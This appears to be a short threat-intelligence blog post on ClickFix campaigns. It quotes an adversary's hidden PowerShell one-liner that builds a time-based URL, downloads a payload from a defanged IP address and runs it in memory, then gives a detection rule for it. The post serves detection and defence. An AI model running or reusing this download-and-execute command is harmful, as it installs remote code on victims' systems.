097. Adversaries Abuse PowerShell to Generate Malicious Links

Hello everyone! I'm sure everybody already got tired of ClickFix technique, but let me show you another interesting case I spotted recently.

It's again about PowerShell abuse. This time adversaries used it to generate the download link:

powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 168.119.173[.]205:8080/$u|iex"

As you can see, it gets the number of seconds since Unix epoch (Jan 1, 1970), uses it to build a URL, downloads and executes the payload in memory.

Of course, we can easily detect such activity, for example, using this logic:

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("datetime" AND "UtcNow" AND "1970" AND "iex")

Have you seen other interesting scripts in ClickFix campaigns?

See you tomorrow!

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